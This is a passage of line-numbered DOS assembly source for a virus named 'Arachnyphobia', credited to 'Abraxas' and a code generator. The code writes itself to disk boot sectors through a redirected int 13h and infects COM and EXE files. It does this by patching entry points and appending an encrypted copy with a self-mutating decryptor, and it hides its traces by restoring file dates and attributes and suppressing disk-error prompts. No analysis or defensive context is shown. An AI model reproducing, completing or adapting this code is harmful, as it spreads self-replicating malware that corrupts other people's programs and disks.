  1371.  
  1372.  
  1373. doint13h:
  1374.  
  1375.         mov     tempsave1,ax
  1376.  
  1377.         mov     tempsave2,bx
  1378.  
  1379.         mov     tempsave3,cx
  1380.  
  1381.         mov     tempsave4,dx
  1382.  
  1383.         mov     cx,4
  1384.  
  1385.  
  1386.  
  1387. doint13hloop:
  1388.  
  1389.         push    cx
  1390.  
  1391.         mov     ah,0                    ; Reset disk
  1392.  
  1393.         int     6Dh
  1394.  
  1395.         jc      errordoingint13h
  1396.  
  1397.         mov     ax,tempsave1
  1398.  
  1399.         mov     bx,tempsave2
  1400.  
  1401.         mov     cx,tempsave3
  1402.  
  1403.         mov     dx,tempsave4
  1404.  
  1405.         int     6Dh                     ; int 13h
  1406.  
  1407.         jnc     int13hsuccess
  1408.  
  1409. errordoingint13h:
  1410.  
  1411.         pop     cx
  1412.  
  1413.         loop    doint13hloop
  1414.  
  1415.  
  1416.  
  1417.         stc                             ; indicate error
  1418.  
  1419.         retn
  1420.  
  1421. int13hsuccess:
  1422.  
  1423.         pop     cx
  1424.  
  1425.         retn
  1426.  
  1427.  
  1428.  
  1429.         db      0, 0, 0
  1430.  
  1431. ; Part 4 of the virus starts here
  1432.  
  1433. tempstorecx     dw      3
  1434.  
  1435. readwritecurrentdata    dw      301h
  1436.  
  1437.  
  1438.  
  1439. writevirus:
  1440.  
  1441.         call    FATManip
  1442.  
  1443.         jc      exitwritevirus
  1444.  
  1445.         mov     cursector,1
  1446.  
  1447.         mov     curhead,0
  1448.  
  1449.         mov     bx,offset readbuffer
  1450.  
  1451.         call    readcurrent
  1452.  
  1453.         mov     bx,offset readbuffer
  1454.  
  1455.         mov     ax,firstsector
  1456.  
  1457.         mov     cursector,ax
  1458.  
  1459.         mov     ah,firsthead
  1460.  
  1461.         mov     curhead,ah
  1462.  
  1463.         call    writecurrent
  1464.  
  1465.         call    calcnextsector
  1466.  
  1467.         mov     cx,5
  1468.  
  1469.         mov     bx,200h
  1470.  
  1471. writeanothersector:
  1472.  
  1473.         mov     tempstorecx,cx
  1474.  
  1475.         call    writecurrent
  1476.  
  1477.         call    calcnextsector
  1478.  
  1479.         add     bx,200h
  1480.  
  1481.         mov     cx,tempstorecx
  1482.  
  1483.         loop    writeanothersector
  1484.  
  1485.  
  1486.  
  1487.         mov     curhead,0
  1488.  
  1489.         mov     cursector,1
  1490.  
  1491.         mov     bx,0
  1492.  
  1493.         call    writecurrent
  1494.  
  1495.         clc                             ; indicate success
  1496.  
  1497. exitwritevirus:
  1498.  
  1499.         retn
  1500.  
  1501.  
  1502.  
  1503.  
  1504.  
  1505. readcurrent:
  1506.  
  1507.         mov     readwritecurrentdata,201h
  1508.  
  1509.         jmp     short doreadwrite
  1510.  
  1511.         nop
  1512.  
  1513. writecurrent:
  1514.  
  1515.         mov     readwritecurrentdata,301h
  1516.  
  1517.         jmp     short doreadwrite       ; This is pointless.
  1518.  
  1519.         nop
  1520.  
  1521. doreadwrite:
  1522.  
  1523.         push    bx
  1524.  
  1525.         mov     cx,4
  1526.  
  1527.  
  1528.  
  1529. tryreadwriteagain:
  1530.  
  1531.         push    cx
  1532.  
  1533.         mov     dh,curhead
  1534.  
  1535.         mov     dl,curdrive
  1536.  
  1537.         mov     cx,cursector
  1538.  
  1539.         mov     ax,readwritecurrentdata ; read or write?
  1540.  
  1541.         int     6Dh                     ; int 13h
  1542.  
  1543.         jnc     readwritesuccessful
  1544.  
  1545.         mov     ah,0                    ; reset disk
  1546.  
  1547.         int     6Dh                     ; int 13h
  1548.  
  1549.         pop     cx
  1550.  
  1551.         loop    tryreadwriteagain
  1552.  
  1553.  
  1554.  
  1555.         pop     bx
  1556.  
  1557.         pop     bx
  1558.  
  1559.         stc                             ; Indicate error
  1560.  
  1561.         retn
  1562.  
  1563. readwritesuccessful:
  1564.  
  1565.         pop     cx
  1566.  
  1567.         pop     bx
  1568.  
  1569.         retn
  1570.  
  1571.  
  1572.  
  1573.  
  1574.  
  1575. calcnextsector:
  1576.  
  1577.         inc     byte ptr cursector      ; next sector
  1578.  
  1579.         cmp     byte ptr cursector,0Ah
  1580.  
  1581.         jne     donecalculate           ; finished calculations
  1582.  
  1583.         mov     byte ptr cursector,1    ; clear sector #
  1584.  
  1585.         inc     curhead                 ; and go to next head
  1586.  
  1587.         cmp     curhead,2               ; if not too large,
  1588.  
  1589.         jne     donecalculate           ; we are done
  1590.  
  1591.         mov     curhead,0               ; otherwise clear head #
  1592.  
  1593.         inc     byte ptr cursector+1    ; and advance cylinder
  1594.  
  1595. donecalculate:
  1596.  
  1597.         retn
  1598.  
  1599.  
  1600.  
  1601.         db       64h, 74h, 61h
  1602.  
  1603.  
  1604.  
  1605. ; read buffer starts here
  1606.  
  1607. ; insert your favorite boot block below...
  1608.  
  1609. readbuffer:
  1610.  
  1611.           jmp  exit_virus
  1612.  
  1613.  
  1614.  
  1615. creator             db '[Z10]',0        ; Mass Produced Code Generator
  1616.  
  1617. virusname           db '[Arachnyphobia]',0
  1618.  
  1619. author              db 'Abraxas',0
  1620.  
  1621.  
  1622.  
  1623. infect_mask:
  1624.  
  1625.           mov  ah,4eh                   ; find first file
  1626.  
  1627.           mov  cx,7                     ; any attribute
  1628.  
  1629. findfirstnext:
  1630.  
  1631.           int  21h                      ; DS:DX points to mask
  1632.  
  1633.           jc   exit_infect_mask         ; No mo files found
  1634.  
  1635.  
  1636.  
  1637.           mov  al,0h                    ; Open read only
  1638.  
  1639.           call open
  1640.  
  1641.  
  1642.  
  1643.           mov  ah,3fh                   ; Read file to buffer
  1644.  
  1645.           lea  dx,[bp+buffer]           ; @ DS:DX
  1646.  
  1647.           mov  cx,1Ah                   ; 1Ah bytes
  1648.  
  1649.           int  21h
  1650.  
  1651.  
  1652.  
  1653.           mov  ah,3eh                   ; Close file
  1654.  
  1655.           int  21h
  1656.  
  1657.  
  1658.  
  1659.           cmp  word ptr [bp+buffer],'ZM'; EXE?
  1660.  
  1661.           jz   checkEXE                 ; Why yes, yes it is!
  1662.  
  1663. checkCOM:
  1664.  
  1665.           mov  ax,word ptr [bp+newDTA+35] ; Get tail of filename
  1666.  
  1667.           cmp  ax,'DN'                  ; Ends in ND? (commaND)
  1668.  
  1669.           jz   find_next
  1670.  
  1671.  
  1672.  
  1673.           mov  ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
  1674.  
  1675.           cmp  ax,12000                 ; Is it too small?
  1676.  
  1677.           jb   find_next
  1678.  
  1679.  
  1680.  
  1681.           cmp  ax,65535-(endheap-decrypt) ; Is it too large?
  1682.  
  1683.           ja   find_next
  1684.  
  1685.  
  1686.  
  1687.           mov  bx,word ptr [bp+buffer+1]; get jmp location
  1688.  
  1689.           add  bx,heap-decrypt+3        ; Adjust for virus size
  1690.  
  1691.           cmp  ax,bx
  1692.  
  1693.           je   find_next                ; already infected
  1694.  
  1695.           jmp  infect_com
  1696.  
  1697. checkEXE: cmp  word ptr [bp+buffer+10h],id ; is it already infected?
  1698.  
  1699.           jnz  infect_exe
  1700.  
  1701. find_next:
  1702.  
  1703.           mov  ah,4fh                   ; find next file
  1704.  
  1705.           jmp  short findfirstnext
  1706.  
  1707. exit_infect_mask: ret
  1708.  
  1709.  
  1710.  
  1711. infect_exe:
  1712.  
  1713.           les  ax, dword ptr [bp+buffer+14h] ; Save old entry point
  1714.  
  1715.           mov  word ptr [bp+jmpsave2], ax
  1716.  
  1717.           mov  word ptr [bp+jmpsave2+2], es
  1718.  
  1719.  
  1720.  
  1721.           les  ax, dword ptr [bp+buffer+0Eh] ; Save old stack
  1722.  
  1723.           mov  word ptr [bp+stacksave2], es
  1724.  
  1725.           mov  word ptr [bp+stacksave2+2], ax
  1726.  
  1727.  
  1728.  
  1729.           mov  ax, word ptr [bp+buffer + 8] ; Get header size
  1730.  
  1731.           mov  cl, 4                    ; convert to bytes
  1732.  
  1733.           shl  ax, cl
  1734.  
  1735.           xchg ax, bx
  1736.  
  1737.  
  1738.  
  1739.           les  ax, [bp+offset newDTA+26]; Get file size
  1740.  
  1741.           mov  dx, es                   ; to DX:AX
  1742.  
  1743.           push ax
  1744.  
  1745.           push dx
  1746.  
  1747.  
  1748.  
  1749.           sub  ax, bx                   ; Subtract header size from
  1750.  
  1751.           sbb  dx, 0                    ; file size
  1752.  
  1753.  
  1754.  
  1755.           mov  cx, 10h                  ; Convert to segment:offset
  1756.  
  1757.           div  cx                       ; form
  1758.  
  1759.  
  1760.  
  1761.           mov  word ptr [bp+buffer+14h], dx ; New entry point
  1762.  
  1763.           mov  word ptr [bp+buffer+16h], ax
  1764.  
  1765.  
  1766.  
  1767.           mov  word ptr [bp+buffer+0Eh], ax ; and stack
  1768.  
  1769.           mov  word ptr [bp+buffer+10h], id
  1770.  
  1771.  
  1772.  
  1773.           pop  dx                       ; get file length
  1774.  
  1775.           pop  ax
  1776.  
  1777.  
  1778.  
  1779.           add  ax, heap-decrypt         ; add virus size
  1780.  
  1781.           adc  dx, 0
  1782.  
  1783.  
  1784.  
  1785.           mov  cl, 9
  1786.  
  1787.           push ax
  1788.  
  1789.           shr  ax, cl
  1790.  
  1791.           ror  dx, cl
  1792.  
  1793.           stc
  1794.  
  1795.           adc  dx, ax
  1796.  
  1797.           pop  ax
  1798.  
  1799.           and  ah, 1                    ; mod 512
  1800.  
  1801.  
  1802.  
  1803.           mov  word ptr [bp+buffer+4], dx ; new file size
  1804.  
  1805.           mov  word ptr [bp+buffer+2], ax
  1806.  
  1807.  
  1808.  
  1809.           push cs                       ; restore ES
  1810.  
  1811.           pop  es
  1812.  
  1813.  
  1814.  
  1815.           push word ptr [bp+buffer+14h] ; needed later
  1816.  
  1817.           mov  cx, 1ah
  1818.  
  1819.           jmp  short finishinfection
  1820.  
  1821. infect_com:                             ; ax = filesize
  1822.  
  1823.           mov  cx,3
  1824.  
  1825.           sub  ax,cx
  1826.  
  1827.           lea  si,[bp+offset buffer]
  1828.  
  1829.           lea  di,[bp+offset save3]
  1830.  
  1831.           movsw
  1832.  
  1833.           movsb
  1834.  
  1835.           mov  byte ptr [si-3],0e9h
  1836.  
  1837.           mov  word ptr [si-2],ax
  1838.  
  1839.           add  ax,103h
  1840.  
  1841.           push ax                       ; needed later
  1842.  
  1843. finishinfection:
  1844.  
  1845.           push cx                       ; Save # bytes to write
  1846.  
  1847.           xor  cx,cx                    ; Clear attributes
  1848.  
  1849.           call attributes               ; Set file attributes
  1850.  
  1851.  
  1852.  
  1853.           mov  al,2
  1854.  
  1855.           call open
  1856.  
  1857.  
  1858.  
  1859.           mov  ah,40h                   ; Write to file
  1860.  
  1861.           lea  dx,[bp+buffer]           ; Write from buffer
  1862.  
  1863.           pop  cx                       ; cx bytes
  1864.  
  1865.           int  21h
  1866.  
  1867.  
  1868.  
  1869.           mov  ax,4202h                 ; Move file pointer
  1870.  
  1871.           xor  cx,cx                    ; to end of file
  1872.  
  1873.           cwd                           ; xor dx,dx
  1874.  
  1875.           int  21h
  1876.  
  1877.  
  1878.  
  1879. get_encrypt_value:
  1880.  
  1881.           mov  ah,2ch                   ; Get current time
  1882.  
  1883.           int  21h                      ; dh=sec,dl=1/100 sec
  1884.  
  1885.           or  dx,dx                     ; Check if encryption value = 0
  1886.  
  1887.           jz  get_encrypt_value         ; Get another if it is
  1888.  
  1889.           mov  [bp+decrypt_value],dx    ; Set new encryption value
  1890.  
  1891.           lea  di,[bp+code_store]
  1892.  
  1893.           mov  ax,5355h                 ; push bp,push bx
  1894.  
  1895.           stosw
  1896.  
  1897.           lea  si,[bp+decrypt]          ; Copy encryption function
  1898.  
  1899.           mov  cx,startencrypt-decrypt  ; Bytes to move
  1900.  
  1901.           push si                       ; Save for later use
  1902.  
  1903.           push cx
  1904.  
  1905.           rep  movsb
  1906.  
  1907.  
  1908.  
  1909.           xor  byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub
  1910.  
  1911.  
  1912.  
  1913.           lea    si,[bp+write]          ; Copy writing function
  1914.  
  1915.           mov    cx,endwrite-write      ; Bytes to move
  1916.  
  1917.           rep    movsb
  1918.  
  1919.           pop    cx
  1920.  
  1921.           pop    si
  1922.  
  1923.           pop    dx                     ; Entry point of virus
  1924.  
  1925.           push   di
  1926.  
  1927.           push   si
  1928.  
  1929.           push   cx
  1930.  
  1931.           rep    movsb                  ; Copy decryption function
  1932.  
  1933.           mov    ax,5b5dh               ; pop bx,pop bp
  1934.  
  1935.           stosw
  1936.  
  1937.           mov    al,0c3h                ; retn
  1938.  
  1939.           stosb
  1940.  
  1941.  
  1942.  
  1943.           add    dx,offset startencrypt - offset decrypt ; Calculate new
  1944.  
  1945.           mov    word ptr [bp+patch_startencrypt+1],dx ; starting offset of
  1946.  
  1947.           call   code_store             ; decryption
  1948.  
  1949.           pop    cx
  1950.  
  1951.           pop    di
  1952.  
  1953.           pop    si
  1954.  
  1955.           rep    movsb                  ; Restore decryption function
  1956.  
  1957.  
  1958.  
  1959.           mov  ax,5701h                 ; Restore creation date/time
  1960.  
  1961.           mov  cx,word ptr [bp+newDTA+16h] ; time
  1962.  
  1963.           mov  dx,word ptr [bp+newDTA+18h] ; date
  1964.  
  1965.           int  21h
  1966.  
  1967.  
  1968.  
  1969.           mov  ah,3eh                   ; Close file
  1970.  
  1971.           int  21h
  1972.  
  1973.  
  1974.  
  1975.           mov ch,0
  1976.  
  1977.           mov cl,byte ptr [bp+newDTA+15h] ; Restore original
  1978.  
  1979.           call attributes               ; attributes
  1980.  
  1981.  
  1982.  
  1983.           dec  byte ptr [bp+numinfec]   ; One mo infection
  1984.  
  1985.           jnz  mo_infections            ; Not enough
  1986.  
  1987.           pop  ax                       ; remove call from stack
  1988.  
  1989.           jmp  done_infections
  1990.  
  1991. mo_infections: jmp find_next
  1992.  
  1993.  
  1994.  
  1995. open:
  1996.  
  1997.           mov  ah,3dh
  1998.  
  1999.           lea  dx,[bp+newDTA+30]        ; filename in DTA
  2000.  
  2001.           int  21h
  2002.  
  2003.           xchg ax,bx
  2004.  
  2005.           ret
  2006.  
  2007.  
  2008.  
  2009. attributes:
  2010.  
  2011.           mov  ax,4301h                 ; Set attributes to cx
  2012.  
  2013.           lea  dx,[bp+newDTA+30]        ; filename in DTA
  2014.  
  2015.           int  21h
  2016.  
  2017.           ret
  2018.  
  2019.  
  2020.  
  2021. write:
  2022.  
  2023.           pop  bx                       ; Restore file handle
  2024.  
  2025.           pop  bp                       ; Restore relativeness
  2026.  
  2027.           mov  ah,40h                   ; Write to file
  2028.  
  2029.           lea  dx,[bp+decrypt]          ; Concatenate virus
  2030.  
  2031.           mov  cx,heap-decrypt          ; # bytes to write
  2032.  
  2033.           int  21h
  2034.  
  2035.           push bx
  2036.  
  2037.           push bp
  2038.  
  2039. endwrite:
  2040.  
  2041.  
  2042.  
  2043. int24:                                  ; New int 24h (error) handler
  2044.  
  2045.           mov  al,3                     ; Fail call
  2046.  
  2047.           iret                          ; Return control
  2048.  
  2049.  
  2050.  
  2051. exe_mask            db '*.exe',0
  2052.  
  2053. com_mask            db '*.com',0
  2054.  
  2055. dot_dot             db '..',0
  2056.  
  2057. heap:                                   ; Variables not in code
  2058.  
  2059. ; The following code is the buffer for the write function
  2060.  
  2061. code_store:         db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
  2062.  
  2063. oldint24            dd ?                ; Storage for old int 24h handler      
  2064.  
  2065. backslash           db ?
  2066.  
  2067. origdir             db 64 dup (?)       ; Current directory buffer             
  2068.  
  2069. newDTA              db 43 dup (?)       ; Temporary DTA                        
  2070.  
  2071. numinfec            db ?                ; Infections this run                  
  2072.  
  2073. buffer              db 1ah dup (?)      ; read buffer                          
  2074.  
  2075. endheap:                                ; End of virus
  2076.  
  2077. end       entry_point
  2078.  
  2079.